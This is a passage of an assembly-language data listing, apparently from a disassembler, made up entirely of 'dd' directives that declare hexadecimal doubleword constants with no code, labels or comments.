		dd 0BA7B9586h, 0FB05C817h, 216DBAAh, 0CC4FC012h, 448FCCFh
		dd 0F5363D70h, 0EA1FE61Dh, 37465704h, 0EC02D645h, 1D99F99Eh
		dd 0B7B8E391h, 77A71C65h, 8956FF49h, 499210DAh,	0CE51E01Bh
		dd 93A74C0Eh, 3CA5093Ch, 49310198h, 0FA9E040h, 0B3B7C58h
		dd 97407112h, 42D54E56h, 0AA00D4AFh, 555E9D5Ch,	32ED6FBEh
		dd 656FB734h, 855D296Eh, 3BD50E5Bh, 0CA5F605Ch,	0B86EBD48h
		dd 9EE946Bh, 8F34A3B8h,	0B45102E9h, 2B009906h, 175A5975h
		dd 0A877D5FCh, 1F854188h, 0FB55A8E4h, 3F3386FEh, 5F870D5Dh
		dd 4A42B366h, 38478E44h, 0E165959h, 0A00771BFh,	54E516C1h
		dd 0EB8BC161h, 72D10ECAh, 2832F77Ah, 0A513E826h, 991D434Ch
		dd 0F2B3ADA8h, 0F7F243FBh, 0FCF56CFAh, 0AF594B66h, 0C38B8521h
		dd 0D3311AAEh, 0DE514ABAh, 0DFC68FDEh, 449A8FC3h, 0F5D624EBh
		dd 65DA6959h, 0C5E87945h, 0ED0CA47Eh, 0FF1480B9h, 0C4D20BE3h
		dd 6AEF41EAh, 7DBC8E2Ah, 0DF8EA143h, 3185C206h,	37E40C33h
		dd 93B5BA41h, 1F6660BCh, 0B25F447Bh, 0E866F13Bh, 85F49727h
		dd 6BADDCA2h, 2909253Dh, 200F58D3h, 0B5050DDAh,	812DD9F5h
		dd 18172FF8h, 0E18B6CA7h, 992EF694h, 0A11E6ED9h, 0B48C993Ch
		dd 59539339h, 0AEF2B08Ch, 46BF54EDh, 0F525457h,	7DB01F7Ch
		dd 2A655B8h, 36BE16Eh, 0E40BF30Fh, 0F3EBC53Dh, 5527E795h
		dd 0A314194Bh, 0F835D2CAh, 4CDE36E7h, 0D58B1C39h, 7C8113C2h
		dd 0ABACB3EDh, 7B7741D2h, 30D6578Dh, 35FC7B15h,	8350B5D2h
		dd 834013D4h, 60F8051Eh, 3176AFB5h, 0E9CC08F1h,	9D259F94h
		dd 2C142606h, 9B6682FFh, 4E427A7h, 0F4EB4213h, 4A81F715h
		dd 0BFF0D99Bh, 1450D989h, 88C9163Ah, 79F4D90Eh,	7DFCBC64h
		dd 5B9BE623h, 0EE9FEC6Dh, 5B72C81h, 0FC10B4B5h,	8CCA2602h
		dd 0DA1BC029h, 709AA979h, 0B0555269h, 66CABEA1h, 0E9DB270h
		dd 76381FD9h, 0C98CB95Ah, 1EE9D21h, 0E858DB0Dh,	0DE5CD200h
		dd 0A1D6A361h, 61CEB96Ch, 35641395h, 1E7CF9C3h,	6110FB31h
		dd 74622D9h, 0D07C8D13h, 0A7A6DFD8h, 2F762AE7h,	7D998467h
		dd 7995C7BAh, 0DF85D3BCh, 0B41D1714h, 9913EFE6h, 0BEB2D804h
		dd 860A3C5Bh, 0BB7C7876h, 1D6EBA74h, 6AE34DC5h,	4F891469h
		dd 43401E0Fh, 0A128600Ch, 0ABCEE5A4h, 12C544CDh, 0CA0E5530h
		dd 0E9DCFBD9h, 0A1D2F823h, 0ADF83DA1h, 0B6E4B1DDh, 0E32FF324h
		dd 0DC299251h, 0B0396EE0h, 0D3F63E34h, 1FE4D46Ch, 399710FBh
		dd 64F4C6C8h, 0E2A4264Dh, 759626BBh, 3F72EC41h,	0C7284FEEh
		dd 5FFD1F64h, 1E209D73h, 0CFAD8002h, 2205CA96h,	96CCCEF2h
		dd 9664CA21h
		dd 0DDB39F59h, 6F63090Eh, 7F6AFD8Fh, 4BE5DD23h,	93BEE311h
		dd 0FCE27A26h, 0D6076EB3h, 0DDBE2D7Dh, 0E91A4EA9h, 3E1485FAh
		dd 84BB396Eh, 0B040D36Fh, 0DC3E9ED0h, 7CB61EDDh, 0D00948F7h
		dd 843CE688h, 0F5A31580h, 5C1F5230h, 381883C6h,	3A85CC2h
		dd 0B7FC34D3h, 173E97E0h, 1649DBE7h, 28A54124h,	54EE85C3h
		dd 7313339Ah, 3AEA028Fh, 14386DCh, 93A06B8Fh, 9E9C665h
		dd 5ADAC9E5h, 5B4372E1h, 0E5C1327Fh, 0A3F05B28h, 20C46CF0h
		dd 2317F9B3h, 3FACDEBCh, 6A2B2EE1h, 24611993h, 5F176659h
		dd 654FCF83h, 7FB64FCAh, 0E6CB06BDh, 5880E4F0h,	57B06BB1h
		dd 0F06D955Eh, 53EDE3C6h, 7D0886B7h, 0C14F35F3h, 0B1E618F7h
		dd 0C3FEF193h, 0A1B8867Bh, 0B20CA35Ch, 1F775F53h, 0AD592C0Ah
		dd 84BA63F7h, 159B5B3Ah, 42F93CA7h, 6F2A9D0Ah, 0CCDDD66Bh
		dd 0CA82E56Eh, 179CF949h, 0A090FC3Ah, 0E1FF68E4h, 0B8F3DBBBh
		dd 46F0F34h, 55A5BC15h,	76A0EF2h, 0C71AF0Bh, 7576FD67h
		dd 6A1DF57Fh, 9D29377Dh, 7B6E8820h, 298A2DD1h, 26A4330Ah
		dd 0A14B6BD8h, 35D2A672h, 9DB06E0Dh, 0BFC08h, 0EE660AFh
		dd 0D62E34A6h, 0C0F7ABF4h, 5BB58A43h, 6C725F32h, 7139D17Bh
		dd 0A47AA804h, 0E96916DCh, 0F101E84Ah, 0C2EF6D6Ch, 0EE7042FCh
		dd 9189B74Dh, 0B5DAAA31h, 972B6781h, 674681EEh,	45A024FFh
		dd 4CA51ED6h, 25905F18h, 0C1A92CDDh, 0A636193Bh, 0A929871Eh
		dd 0DA666215h, 51A2F975h, 4B791A4Dh, 4635746Ch,	0FF163B88h
		dd 8FCF884Ch, 0DE231D15h, 0DD60045h, 6A8EF687h,	0C13937D3h
		dd 0FDB89341h, 581B687Fh, 0EE20305Bh, 986F0102h, 0E5D987FDh
		dd 136ABFAh, 2016646h, 0E23A5F64h, 0CC4BD016h, 0F7A3CC2Eh
		dd 0B1BC87A1h, 6E570A9Eh, 0F1BE3315h, 0D7BA3AA2h, 0C27B03CAh
		dd 0EF34F98Ch, 7280E0Dh, 0F8D5C9E1h, 9077C600h,	3AC5953Fh
		dd 0E2B877DCh, 0FD1D2235h, 14A4E756h, 0EDC3D023h, 0FB6231A4h
		dd 3D7F8232h, 58FD434Bh, 19FE2626h, 2ED523BDh, 5071B510h
		dd 1701B698h, 0D172D70Fh, 769CCF7h, 0AFF73AC2h,	0BF0D88E0h
		dd 7EC210BAh, 4AEDE195h, 4E9EF2A2h, 0E4F3717Bh,	71486898h
		dd 7CC302C3h, 0BE588F4Eh, 0BF5D6A68h, 0A1DA5B69h, 67E4D89Ah
		dd 6644490h, 138D56A1h,	5DB1E721h, 0EDA1EAD6h, 0E8215B86h
		dd 0F872BB2Dh, 68867EB3h, 31ECBC43h, 8333AF8Ah,	3C89F0D0h
		dd 3E177D33h, 0F273ABBDh, 79C4699Bh, 5F05E0D4h,	0F6145B8Eh
		dd 94D983BBh, 0F483D308h, 4E618EE8h, 0A4B25A05h, 0C940F277h
		dd 0FA1F4E5Ch, 0C3C0D960h, 5D4865FFh, 0FAC6AB00h, 19D769C6h
		dd 29CCB8D4h, 4FC49C5Fh, 9E548E12h, 0B712F634h,	26D9684Bh
		dd 60F1E5DFh, 60B9E79Ah, 0AF44740Fh, 3D882EA8h,	5567168Ch
		dd 3C4AE84h, 3B2618Fh, 7B138A42h, 9EC6FB73h, 67CBE0C1h
		dd 1A4D8BC3h, 67725721h, 0D25555E1h, 6797E9E9h,	9E8BBD5Dh
		dd 0F8F7CFB7h, 0C40BCE88h, 49F7FCC6h, 499E1209h, 99F2BA70h
		dd 0CBAD1393h, 206E0E43h, 0C7C3ACEFh, 960A48A9h, 936F1D38h
		dd 9EF18960h, 74FD5BAEh, 2FD999FFh, 4FADBB46h, 0A5D4447Eh
		dd 0F05217B9h, 6B334588h, 3C906BEh, 6868B496h, 6DF27FF9h
		dd 7E812EEh, 0ED9829C9h, 0CA46CC12h, 410E0594h,	0DAFC37AEh
		dd 74F4F6EAh, 349C4FD0h, 232766F8h, 7DE4E795h, 0A9F0AF61h
		dd 0EC9AF269h, 7C415FB3h, 6A72CC4h, 0FD936E98h,	9D3C95DBh
		dd 411CC3EDh, 0B2C2274Ah, 0A91CF8D5h, 259DD8D5h, 6FFFF863h
		dd 2922F516h, 0AD2B0449h, 5301B8ADh, 1537D005h,	0B0431175h
		dd 0B57BD411h, 5B4FDD8Ch, 3D5F8B49h, 0E805FD43h, 0A3FD7775h
		dd 5E3F9186h, 0BDC508B5h, 8475F6AAh, 55410247h,	5F8EB57Fh
		dd 9DD8E39Fh, 0ACCC14E3h, 0B5EC71B3h, 59C323F9h, 9CEB834Dh
		dd 0F819D97Ah, 0AA60AC1Ah, 21CDC54Bh, 0C0924AEDh, 0C873AC22h
		dd 0E33E4ECAh, 0B42D2347h, 0FD484E5Eh, 75C73C49h, 4FAFE769h
		dd 0FA237843h, 9D0BF881h, 0BE5FED9Ah, 43F42996h, 338183F1h
		dd 72820518h, 28328612h, 1895A3BCh, 1EA24484h, 45247508h
		dd 37302319h, 0E1B2F99Dh, 0D75413FBh, 32A55492h, 0F8C3DBADh
		dd 8C376DACh, 84BF3896h, 6699C12Fh, 0CC432332h,	0E2F2F89Fh
		dd 0DE34AF03h, 0CD545308h, 6F87B1A5h, 0AAEFBC3h, 5701B0A6h
		dd 461B3004h, 226392F8h, 0C7D6C1F0h, 918451E6h,	273B29BCh
		dd 7620823h, 0AEC2ECCCh, 0B8780C1Bh, 125DC23Dh,	0C84FA806h
		dd 18E69701h, 45A8B714h, 5BB1CB97h, 0B6049911h,	70AD891h
		dd 30BD404Dh, 4A6E8232h, 0A49503DEh, 7D048B36h,	0FB6734D4h
		dd 6906341Eh, 0D83DD908h, 19F9FD31h, 0F56469C0h, 0F0419999h
		dd 57336D48h, 926DC196h, 9B59A587h, 12DF4B75h, 7D11DE63h
		dd 0DBD3F124h, 0F38EE5A4h, 8B2B669Fh, 0A5E03E47h, 66F4EED4h
		dd 0BF127D2Dh, 27CBF482h, 64804D0Bh, 0ECC8246h,	10622C01h
		dd 0ED2F115h, 48F4AA24h, 2C8F072Bh, 10F628ABh, 9D65F5D2h
		dd 2F94E89Bh, 4F7F10Bh,	0A32AC2E9h, 9576646Ah, 77376276h
		dd 40584DE9h, 0E22BA134h, 732ADF4Ch, 64474D64h,	0A6687CACh
		dd 6172FC45h, 0CBF2FDF0h, 741734E7h, 85D74ED4h,	2F4A38A5h
		dd 0EF63D5F0h, 78E6D120h, 0E0C30EA5h, 3A575E02h, 3B64D716h
		dd 4C496DC5h, 0F17F90Ah, 722ADA91h, 4456ED71h, 4EA1479Ah
		dd 0ABB1A9FAh, 8A64BEB7h, 9F2E7781h, 5ACCAA85h,	2675E100h
		dd 0CE47A394h, 0CAE73D53h, 0AA5AD957h, 9EEF04F6h, 0A850AC67h
		dd 885BDCC3h, 95691C2Eh, 73F11FD4h, 7F40D84Fh, 4FA461BCh
		dd 0B3A901FCh, 0ABF43453h, 0C838AC44h, 37082703h, 48145B1Dh
		dd 0FDAEF560h, 0EE15B362h, 0CB1D7C4Dh, 9EB70E1Fh, 6F7F54FBh
		dd 3DEAA5C1h, 94E62D08h, 0D91A14A2h, 28ADF24h, 2FDF6B48h
		dd 0D5C60A74h, 69F39361h, 393EFA3Fh, 0CECE9E4Fh, 0DCC28D5Ah
		dd 0CAAFE53Dh, 63F6DE64h, 0A49E7EA9h, 387A0AA0h, 165732E1h
		dd 6ABC6B44h, 14EECC37h, 3B9B623Bh, 72551323h, 7311374Ah
		dd 0D654A2AFh, 0F973498Ah, 0F58C9B67h, 51DE7694h, 2D7D151Dh
		dd 4F4C56BEh, 4F59ABF7h, 0B97C2B95h, 0D83C685Dh, 8DFE7EDh
		dd 0D5743D7Ch, 6C823128h, 6CC8D66Fh, 0A7B2B3F3h, 0E96C17EAh
		dd 282BF819h, 670491FCh, 43C49DFFh, 0DB0D8BC3h,	0B1A2ADF5h
		dd 80B7CE70h, 0F94526A1h, 0B3339B1h, 755143B9h,	89DA9974h
		dd 0B06EDB67h, 987B7E11h, 0A2102A49h, 0F4CC58AEh, 18E606ECh
		dd 820FCE6Bh, 0EC027117h, 26BA9E41h, 0C45EE410h, 0C35B833Eh
		dd 7637A315h, 3F9EBBD0h, 0AFF82092h, 1FE468AEh,	0B403D755h
		dd 0A3228779h, 7666D797h, 21F275BFh, 724450B9h,	16B99F90h
		dd 2F4FBAB0h, 355C85DDh, 0BFE67713h, 4473DF76h,	40BA04D5h
		dd 13D013F2h, 0D89D5F24h, 1DEB8B8Fh, 0E8E3E754h, 6121C5B0h
		dd 66437FEFh, 0E93839B9h, 649B8851h, 0C89726Dh,	0D4C5A0D5h
		dd 0B68E653Ch, 0B2D15BD7h, 0D45A75B9h, 97B8A2E5h, 10CD8497h
		dd 15AFDABBh, 547B3215h, 9943B99Eh, 9BA48FBBh, 0E7F7A2C7h
		dd 7EC47305h, 77A29E71h, 0B27B30F8h, 724E468Ah,	971719B3h
		dd 0B0F55ABh, 0A970E60Ah, 76E113Dh, 0A1364E58h,	6FCC5DD9h
		dd 8A9BA941h, 362FBD71h, 7812CAA8h, 7B35A2D8h, 0BC1531E3h
		dd 2F144F0h, 8C490505h,	1B304163h, 501C438Fh, 0DA5DB5CFh
		dd 51BE8370h, 0A63E20D6h, 9F2D24DCh, 0EA786B2Ah, 0B3C63C6h
		dd 0F863021Eh, 0E9B89C01h, 8D386217h, 314CC1AAh, 0E2569140h
		dd 83ADF6C6h, 46DF4FEBh
		dd 5A14614Ah, 0E95FB90Eh, 60F85447h, 471413C0h,	64739C06h
		dd 0C9EE24BAh, 0D33C44DCh, 0B023F560h, 0E6C39381h, 271AD1EAh
		dd 0EF7F3AA6h, 0AE187C2h, 0D7810410h, 5860AEFAh, 0E1431A8h
		dd 0C099C943h, 0C42FE2A3h, 0DBE8CFB3h, 0EEBABD8h, 674028F6h
		dd 0E9DC9D3Dh, 0B8013ABCh, 6AE70CFBh, 0E6CB2FB2h, 0F835CF0Ah
		dd 446840C9h, 0DEE674DCh, 5319A138h, 197BC04Ah,	449CB1D6h
		dd 0E1AF772Ah, 5D9D6627h, 139C8C66h, 46C4B005h,	92C9823h
		dd 0E376FB87h, 32FB55E0h, 96747557h, 478FF0B7h,	0B0267F4Fh
		dd 7B2204C2h, 49796553h, 0C536C712h, 33A865DDh,	65D5661Bh
		dd 55B09B0h, 0FE450332h, 0D29173D6h, 2652A6E1h,	0A592D6Ch
		dd 0C28F4F78h, 0CD2267A8h, 0DA22D721h, 6DD7E233h, 8D3F6752h
		dd 2277F3B7h, 30708388h, 3571B8A8h, 6A57FA43h, 96155971h
		dd 0F0652A2Dh, 4252A7F2h, 4F4A21A0h, 0F9063B94h, 0BC5226C6h
		dd 82FC47FEh, 0B2D26C9Ch, 0B84B518Ah, 0B00D1028h, 0BB88CF92h
		dd 0C8B80A60h, 0FD101137h, 0CB2D1289h, 653A6851h, 5BE12F4Eh
		dd 8E663426h, 9B0B2BBDh, 1E5080A4h, 767884CEh, 0FA5F025h
		dd 2BDBEEE9h, 85DD7C06h, 27DBB84h, 8156626Fh, 5AFE0A4Eh
		dd 3DEB4C78h, 82B1FDAAh, 5C919DB8h, 0C1686F48h,	5C51F4C4h
		dd 7EDA6B03h, 51AB5531h, 0F6BCE2E8h, 0BEDE6C77h, 99A9DB84h
		dd 3C2E5EB4h, 0FB7F4CAEh, 47CBDAB0h, 420A27C4h,	0D2D398F8h
		dd 3D84CE85h, 181BD9E8h, 0FB4881Ah, 0EE7AAF84h,	31392B93h
		dd 0C2DAEA0Ch, 0F0C56916h, 481C7DFh, 0EC172FEAh, 31BC337Dh
		dd 119F795Fh, 82CE3152h, 18369BFh, 9A150F52h, 0A0C2FF0Bh
		dd 5E165C5Ch, 0A54F77Bh, 22513565h, 9053FFAFh, 56ADA815h
		dd 0EB7306F7h, 15B5CA22h, 0C184411Ah, 745B378Dh, 3578EDA2h
		dd 42A92050h, 0E0ABF287h, 6EE93E67h, 0BC4739F2h, 906962C8h
		dd 187B521Dh, 9EB8D790h, 0A86DCD61h, 7197FE19h,	0D96FDD3Bh
		dd 0EEF77890h, 3239717Ah, 2AE19CC7h, 1E8F8C96h,	2FF7BF33h
		dd 9CEEDCEDh, 435BE93Eh, 4A3EA934h, 40D9F05Ch, 0C9389550h
		dd 0F2614385h, 0E1422FBDh, 3C344E67h, 23DA69F7h, 7CF8D1EBh
		dd 9FC0236Ah, 0C4D27754h, 32ACF761h, 75143D23h,	0AF7E1FBFh
		dd 1C2F811Ah, 3EA8B6E3h, 243B94Ch, 0BA190F1Eh, 0BAF8C6C9h
		dd 8079184Eh, 5EDBB9BCh, 352DD15Dh, 0CB334B8Eh,	0D66F9BF9h
		dd 0C18C67A4h, 0A45ED3EAh, 0E0C538BCh, 561E468Ch, 444B08F3h
		dd 7743BFC3h, 34FF1DDCh, 0E997C49h, 235DF713h, 0AD873B7Fh
		dd 0E9815CB0h, 8A5BAAFAh, 23524647h, 231452FFh,	1CF43EADh
		dd 69D59431h, 0CF4CB06h, 89D0A39Ah, 9EF7E379h, 6386E6A0h
		dd 0BC06BD25h, 4EFCCFC6h, 163EBBE0h, 947B8960h,	0EE556D80h
		dd 0AEE2D16Ch, 0FA402ABAh, 6E062B43h, 0C6A86249h, 78E8CC5Eh
		dd 0BF533618h, 428CBCADh, 2EEE4300h, 6195FEE0h,	85F8DAA8h
		dd 22F12FBBh, 5B960F1Ch, 0C900BE11h, 0E8A40CA3h, 0CFFC5E57h
		dd 0D49D5411h, 0C2B80B08h, 95BB1059h, 88C7B9EBh, 66006DAh
		dd 144B1979h, 0EAC3E998h, 8475F22Ah, 6C97EAh, 3EDBC8D7h
		dd 0A5EE818h, 0C77B9D4Bh, 32F07107h, 0F210AF96h, 35E7B1F0h
		dd 3CDA5F3Eh, 72453295h, 0D1DB84EAh, 5743BE4Dh,	0EFA7908Dh
		dd 0E4B4411h, 0AFBDEB22h, 6F555B82h, 5EB01FC9h,	0F2092F80h
		dd 0DCE20D58h, 0ADBDFED7h, 8323B7D9h, 972387CDh, 82122BAAh
		dd 4CF448D2h, 7A700312h, 9C4DEA9Ch, 0DD7E7DB3h,	0CC37921Ah
		dd 0FAA14576h, 900A53B1h, 0EBA62BB9h, 4F4997AEh, 3396E4Ah
		dd 6F2EE070h, 0DAB63E6Dh, 0EA8620B8h, 0CA6087CBh, 58A08B8Dh
		dd 77F2EAB1h, 0B8255DD6h, 6C5C4333h, 24C4EF18h,	11EB92Ah
		dd 35958B72h, 0D4D84A03h, 0A47A432Fh, 3106766Eh, 0C71F2F88h
		dd 2CE8119Eh, 0EBEDA5E5h, 9E0646ADh, 5D83F616h,	0C390BE20h
		dd 9DFF5295h, 8EC0AC1Ch, 0F0A039F0h, 643A223Ch,	4625AADEh
		dd 4AD2733Ch, 2828097Bh, 62CC4BDBh, 5BAEDA18h, 73C99530h
		dd 0DD347780h, 9483EDCCh, 3F9C5E00h, 0EE75D3DFh, 702FA3A8h
		dd 0A64682F2h, 0DC937FCBh, 0A934ADE1h, 911B6408h, 0D99D42ABh
		dd 433C77A2h, 50C3D5F3h, 4C8B9B9Fh, 1417774Bh, 0BBC6045Eh
		dd 1E6AAAE3h, 0C788E934h, 2FE80FEDh, 62CCC81h, 73A47FB6h
		dd 0CFEF00DAh, 94FA18D6h, 5F37AB17h, 0A1E568FFh, 716511F7h
		dd 39D288EDh, 416E9031h, 17687616h, 0BADC8545h,	15C1F25Ch
		dd 2C10533Fh, 0D37C8DCh, 2261FA02h, 87EA74C3h, 263041B5h
		dd 56FDFAAEh, 0D3861545h, 6EF0E789h, 0BD0D169Ch, 0BA84CE58h
		dd 0FF39E0Dh, 0EBAD7546h, 732318A6h, 5D1B4279h,	0B154172Bh
		dd 0B9D5B771h, 4B488318h, 0D997FE0Fh, 0D38B378Dh, 0EFAB280Fh
		dd 2217ACCh, 0F0C899E9h, 0E65D2084h, 0E71F1365h, 0D64AB1D4h
		dd 41CB9FFAh, 0E4E50971h, 5051B25Ah, 4F8C80F1h,	0B6EC262Bh
		dd 177ADD09h, 42D1A17Eh, 0C4BFD28Dh, 0BA596B56h, 5143BC1Fh
		dd 0FBF5C0F6h, 69ACEB49h, 0EB8E5B75h, 83F0DBAEh, 964FA0A7h
		dd 98CBED81h, 306542C9h, 77A808A3h, 51A4E3CCh, 3A416A6h
		dd 653FC209h, 410F24F8h, 3FB47560h, 5C466E6Ah, 7D3DC470h
		dd 7E7CE61h, 0F5F44E69h, 0F9C1EE6Bh, 534FC9B8h,	0C6975B38h
		dd 0EB93DF9Ah, 1CB7D2E9h, 9FE3E967h, 515BF0B9h,	9CEA81B1h
		dd 0C336A3D0h, 0DC76648Ah, 0DBF9974Bh, 0C914A0Dh, 2155A0FDh
		dd 0F2EA8312h, 65BA82A5h, 0A81CED5Ch, 2ECB9BCEh, 0A00158E3h
		dd 0A6852B45h, 0A0628027h, 0C17B6241h, 7B0CA51Fh, 298AD8C2h
		dd 24773378h, 3A79DE62h, 0AD5A228Ah, 8F99B805h,	5963B820h
		dd 6DE58893h, 0CE761D76h, 0BA894CB4h, 0FD9311A1h, 7D302C22h
		dd 5D7C5480h, 756D86Dh,	7324F3BCh, 6CC20DFFh, 83D54548h
		dd 0D727E8A5h, 0B0D76584h, 5FFC3D95h, 556E6F9Eh, 2966C54Fh
		dd 0F9D55B6Eh, 623E0827h, 7EEEEDF7h, 0CC638EEAh, 3BA2A80Bh
		dd 9B00B122h, 343D20F8h, 20B225F1h, 65B16EBEh, 301B150Dh
		dd 57AB07B1h, 0C028A6DEh, 6E6DAC87h, 7F37984Fh,	82962472h
		dd 10DEA8Bh, 72E17E03h,	5BACFB52h, 276BD3E3h, 95A536C7h
		dd 3422667Ch, 1AB9F326h, 0DC4EF837h, 67D713FFh,	0E2337Eh
		dd 46DA4283h, 493A2D18h, 4B0FFB6Bh, 7EC9FFD6h, 53808DE1h
		dd 233BAEB5h, 903725F1h, 0D4282493h, 81F4B7F8h,	0B94763C3h
		dd 0B196EC04h, 73B800E7h, 0F79FAD9Dh, 0CFF441AAh, 0D128A85Fh
		dd 0F26AF5E8h, 5E126DC1h, 5671F0C7h, 0A1743FCCh, 32A598E3h
		dd 425E6328h, 3FF15411h, 169DEA75h, 22E8C590h, 0FDD0577Ch
		dd 49EDCF85h, 0C0F53005h, 9023DAB0h, 0DCF4A799h, 0F9E8A9F8h
		dd 0B9E490C9h, 32C61118h, 10F91EB2h, 0C6B68213h, 0F3B5F5C8h
		dd 754DF1BBh, 529A3DA8h, 953F65DCh, 63437A3Eh, 63B74625h
		dd 5B0328ADh, 0BC00EC86h, 0EB021899h, 56384C47h, 0E9ABF8D0h
		dd 86CBDEACh, 0D4B61380h, 6AC5E69Eh, 0F4F5ECFBh, 8198AD23h
		dd 0D8C00725h, 0FBEEECDBh, 0FACEEFBh, 0D2558834h, 48A24869h
		dd 60DF759Eh, 0FB28E789h, 118FCE4h, 934EA2C5h, 0BC978BF1h
		dd 0F08A89EDh, 3C01C914h, 35D4B8DEh, 0DA5B494Eh, 0D6BDC2F6h
		dd 6E5FFD23h, 43EF707Eh, 5A639CD1h, 29CAF8FCh, 582693F5h
		dd 947FF484h, 952FA0C5h, 0CA0C8A96h, 25438518h,	0F3417DD4h
		dd 0FC54B483h, 0A95DD5EAh, 8B08A7C6h, 0DDC16CEBh, 0C57D45Dh
		dd 4434FD20h, 7EBB169h,	5372D7C7h, 0AF7FDCC4h, 3C947934h
		dd 87ACD407h, 0F47DFC5h
		dd 0CB351037h, 0B1CC391Ch, 5C87EAC6h, 61E4B5CBh, 22A04ECEh
		dd 6F1D6E6Ch, 0C2ADF2F1h, 7055D538h, 39BFB0CAh,	2AD0E463h
		dd 0F21F2734h, 0E41EECFh, 0ABDC8BD6h, 21506B99h, 855C2A54h
		dd 0BB912FCh, 2BB30CCh,	0AA031D70h, 8F53DDD0h, 9F0F7B8Ch
		dd 47244E2Eh, 0FFD08F7Ah, 4F50C277h, 1CF7947Eh,	684CF9C1h
		dd 0F8A1B3CBh, 0F9E1751Dh, 2F48E9B2h, 6DDE7129h, 85D6B597h
		dd 99F686AFh, 81FA2157h, 0B2BB8BF3h, 7A4855D6h,	121AE7F4h
		dd 62F6B77Ch, 16C24308h, 0EC402059h, 20939766h,	5C40A617h
		dd 51214A9Bh, 0F6E403Bh, 0C0E83C62h, 63D6655h, 76ECD49Eh
		dd 5C3DEF84h, 128024BCh, 0CCA066F8h, 0D99549FBh, 0AC54617Eh
		dd 77A50360h, 3FF2F1BCh, 1388C4BDh, 0C1A349ABh,	2D9F4E9Fh
		dd 0B9D25553h, 79E66F5Fh, 0D436D5F7h, 7CFC8F17h, 7E9D10E0h
		dd 9BD0618Dh, 0D8F3F8C7h, 306065DEh, 287E7F7Ch,	0F8AAF733h
		dd 0CF9891h, 651B8C9Dh,	0FAF3B7D8h, 0AF51510Ah,	485C0E30h
		dd 9AA6B44Dh, 4BC643D5h, 6116CE92h, 0CA0EC406h,	0F16B9F1Fh
		dd 0E7E457D1h, 0C5A15454h, 0C9CA8E15h, 0EE0CDFD4h, 0F2ADB393h
		dd 0A602B643h, 49D82B73h, 0DDA794D2h, 29E2B54Ch, 0E9A1E0E6h
		dd 2AD7044Ch, 9A87D763h, 0CD82BF22h, 6D0445B7h,	0D9DEBFh
		dd 0D7F6F342h, 9B2F0E48h, 48537006h, 0F58A37F2h, 90CC2C88h
		dd 0EA49F118h, 0DF318E71h, 6BC5616Dh, 240AA176h, 2FD13B66h
		dd 0A97E945Fh, 0A0EAA76Bh, 0AB9AA83Ch, 36C1B3EEh, 0E0520372h
		dd 779083CFh, 50FFF1D4h, 2BF152DCh, 6F1BC64Dh, 0A23EA58h
		dd 66F51B77h, 53C2B5DCh, 20F30546h, 19AAB244h, 538AD5DEh
		dd 9223368Ah, 0DB4ACB4Dh, 0C444585Fh, 0D236FD19h, 22BA85E2h
		dd 0F7BC3DAEh, 8E9DE370h, 0DFB97885h, 0AE19BD1Eh, 71B8F1AFh
		dd 7B3091BEh, 1F9EDAEh,	877B1873h, 82FA5BF5h, 0D0440CD4h
		dd 0BD373AC6h, 8131F600h, 0D2E8E4A6h, 739D896h,	0D224B36h
		dd 0EFB3857h, 6FC768CCh, 1FEB7D03h, 0A043F93Ah,	6CE43491h
		dd 89A08D3h, 818B0CCFh,	6E1E70B1h, 73C0EAC2h, 8574A2A1h
		dd 0B5CD99D5h, 5B40D57Eh, 7C823BC5h, 3F4E809h, 95A68552h
		dd 0C601F5EEh, 0EF32056Fh, 7799785Ah, 95696DAh,	0F0302F8Ch
		dd 85ED9C72h, 769FB82h,	7BBA03E9h, 848F29F4h, 0A576E377h
		dd 98C88083h, 97C030Fh,	140E987Bh, 427DF0A9h, 0F004B3Eh
		dd 31499563h, 0C41DB39Eh, 54D9E5B8h, 2888678Dh,	85A94859h
		dd 0A604760Fh, 19E6D27h, 831ED25Fh, 75D65547h, 0EE30645h
		dd 0FCB402BCh, 8D7C711Ah, 88C2481Ch, 0D4E051B8h, 6390F70h
		dd 0D08930B4h, 401DA264h, 5B9CF049h, 0EF7E44E4h, 5B623B32h
		dd 1AC51A64h, 521269EEh, 0FF19E35Bh, 3C32B44h, 0E17A3727h
		dd 27D347CFh, 6124150h,	0E8CFEF68h, 0F91B68BCh,	0E621674h
		dd 0D8E97323h, 0C9A06333h, 0A8B41C6h, 0E4FC5606h, 0E2568FB9h
		dd 287A2B9Dh, 7DF4E602h, 96D0AA22h, 0E378FFFEh,	1E5F9D5Bh
		dd 801AC087h, 8EB705FCh, 0E4F48417h, 463016C7h,	0D19AC822h
		dd 0FF43E936h, 0CCC7CB5h, 81805C84h, 0A57B2D4Fh, 0EAE49012h
		dd 77EB9A92h, 0F2753B99h, 3B8B3835h, 1138D1E5h,	3E9ABC8Eh
		dd 0B0712EB7h, 0DF06A5F9h, 54A6F515h, 0C982BC38h, 2083A6EFh
		dd 410E4F54h, 0AA5A9030h, 48C9EFDDh, 0FEDAF986h, 0FF6563B6h
		dd 75023A81h, 0BD877359h, 0DCE87935h, 0F3A51DACh, 7C1AC73Ch
		dd 5DD804E8h, 718DBB44h, 3D9ADFCDh, 294D4FEh, 3AB7AE41h
		dd 0EDAD40F7h, 184C70CDh, 0A2728109h, 0B4B64DBCh, 91B396EEh
		dd 0F72356A7h, 0E3BBCC2Dh, 7F4B6DB0h, 3CBCA272h, 0B353FC7Fh
		dd 3FCC553Ah, 757C2261h, 0D70D6D79h, 5EF8318h, 0F4B9F593h
		dd 0D1B0833h, 29D3D4D8h, 0EF13CAACh, 2AA0BB58h,	93AD8D68h
		dd 6E61CD72h, 0C693E7AEh, 0B382B0A2h, 0D5533F0Ch, 3550A0F1h
		dd 4F31A659h, 0EBC1C1E2h, 0ECEEAFECh, 0FBFA2470h, 0B9509FA6h
		dd 0C4069329h, 1B5FE675h, 67A1440Bh, 0AE65FBDFh, 0D5D48E66h
		dd 42652D35h, 0CC2E0C7Ch, 4207C73h, 8984D071h, 0ADD5B536h
		dd 0A66495B6h, 10C8EF66h, 7B89807Eh, 12BCD622h,	29074998h
		dd 0F6914C4Bh, 1B4B5625h, 5A4DFE6Ch, 2670728Ah,	6B100CACh
		dd 0F83C3E79h, 332A959Dh, 0EEEDFA1Eh, 0FF95162Bh, 7078BC65h
		dd 7F574471h, 8D3A97D3h, 0D4AF5864h, 6C3B1B2Fh,	0D02CC805h
		dd 9E373C0Fh, 0E20D2CEh, 69465881h, 0DEF759F6h,	5ABE1C3Eh
		dd 0D2F1818Eh, 9212280Bh, 0BB0AA775h, 49ADB78Eh, 32E4BCEh
